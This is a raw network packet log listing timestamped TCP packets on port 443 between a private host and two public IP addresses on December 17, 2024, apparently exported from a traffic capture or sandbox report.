Dec 17, 2024 08:38:20.006489992 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.006573915 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.006654024 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.006675959 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.043905973 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.043998003 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.046776056 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.048177958 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.048191071 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.048527002 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.055721045 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.103336096 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.205933094 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.205946922 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.205972910 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.206033945 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.206058025 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.206084967 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.206222057 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.257268906 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.257301092 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.257396936 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.257419109 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.259607077 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.389491081 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.389518976 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.389647961 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.389647961 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.389664888 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.389741898 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.403657913 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.403745890 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.403753996 CET	443	49709	83.166.133.91	192.168.2.5
Dec 17, 2024 08:38:20.403842926 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.597091913 CET	49709	443	192.168.2.5	83.166.133.91
Dec 17, 2024 08:38:20.705564022 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.705626011 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.705660105 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.705661058 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.705672026 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.705717087 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.705734968 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.705749989 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.705822945 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.708201885 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.716726065 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.716759920 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.716829062 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.716841936 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.716878891 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.725066900 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.781193018 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.781208992 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.828160048 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.828181028 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.874867916 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.897387028 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.900998116 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.901067019 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.901083946 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.908636093 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.908833027 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.908843040 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.916141033 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.916208029 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.916217089 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.923636913 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.923687935 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.923707008 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.931134939 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.931205034 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.931221008 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.946012974 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.946089029 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.946111917 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.946130991 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.946192980 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.953572989 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.961127043 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.961173058 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.961271048 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.961291075 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.961424112 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.968110085 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.975184917 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:20.975346088 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:20.975366116 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.015516043 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.015538931 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.057240963 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.057365894 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.057394981 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.091645002 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.091697931 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.091710091 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.096226931 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.096263885 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.096317053 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.096326113 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.096381903 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.105320930 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.105334997 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.105370045 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.114048004 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.114168882 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.114176989 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.114240885 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.118561029 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.118578911 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.118668079 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.127234936 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.127336025 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.127346992 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.127460957 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.135924101 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.135935068 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.136009932 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.140393019 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.140405893 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.140471935 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.140515089 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.149213076 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.149302006 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.157777071 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.157999039 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.166594028 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.166663885 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.171097994 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.171238899 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.179758072 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.179970980 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.179984093 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.180994034 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.188595057 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.188905954 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.247867107 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.248028040 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.256380081 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.285682917 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.285801888 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.289901972 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.290014982 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.295701981 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.295759916 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.301795959 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.301879883 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.304795027 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.304898024 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.310619116 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.310703039 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.314574003 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.314666033 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.316509008 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.316617966 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.320295095 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.320385933 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.324088097 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.324187040 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.326111078 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.326184034 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.329948902 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.330022097 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.333656073 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.333738089 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.335676908 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.335798025 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.339452982 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.339540958 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.343236923 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.343333960 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.345237017 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.345330000 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.349071980 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.349211931 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.352827072 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.352907896 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.356673002 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.356759071 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.358675003 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.358792067 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.362483978 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.362543106 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.364386082 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.364645958 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.437711000 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.438169003 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.452615976 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.473423004 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.473587036 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.474396944 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.474478006 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.476028919 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.476094007 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.484023094 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.484030962 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.484060049 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.484185934 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.484185934 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.484208107 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.484246969 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.493129969 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.493153095 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.493225098 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.493268013 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.493268013 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.493278980 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.499450922 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.499501944 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.499564886 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.499587059 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.499608994 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.501446962 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.501543045 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.501558065 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.502676010 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.505604029 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.505659103 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.505724907 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.505734921 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.505773067 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.510301113 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.510387897 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.510416031 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.510432005 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.511790991 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.514981031 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.515095949 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.516509056 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.516865969 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.520730019 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.520812988 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.520828009 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.520843029 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.520876884 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.525857925 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.525930882 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.525937080 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.525948048 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.526056051 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.528685093 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.528773069 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.528780937 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.528881073 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.630337954 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.630441904 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.670114040 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.670144081 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.670208931 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.670221090 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.670331001 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.671124935 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.671241045 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.675396919 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.675503969 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.675517082 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.675570965 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.680615902 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.680651903 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.680726051 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.680726051 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.680736065 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.680803061 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.687827110 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.687856913 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.687916040 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.687927008 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.687964916 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.687964916 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.694142103 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.694163084 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.694258928 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.694276094 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.694315910 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.695166111 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.695228100 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.702016115 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.702044010 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.702162027 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.702172995 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.702255964 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.705074072 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.705164909 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.709252119 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.709286928 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.709333897 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.709345102 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.709359884 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.711206913 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.711272001 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.711282015 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.711421013 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.712372065 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.712497950 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.824196100 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.824223042 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.824337006 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.824357033 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.827651024 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.859298944 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.859457016 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.859474897 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.862313986 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.862396002 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.862411022 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.868680000 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.868710041 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.868796110 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.868796110 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.868807077 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.875947952 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.875972986 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.876065969 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.876065969 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.876076937 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.883124113 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.883145094 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.883232117 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.883232117 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.883251905 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.884186983 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.885138988 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.885145903 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.890935898 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.890959024 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.891031027 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.891052008 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.891112089 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.893040895 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.893137932 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.893146038 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.900425911 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.900458097 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.900549889 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.900549889 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.900563955 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.906708002 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.906738043 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.906794071 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:21.906806946 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:21.907124043 CET	49710	443	192.168.2.5	188.114.97.6
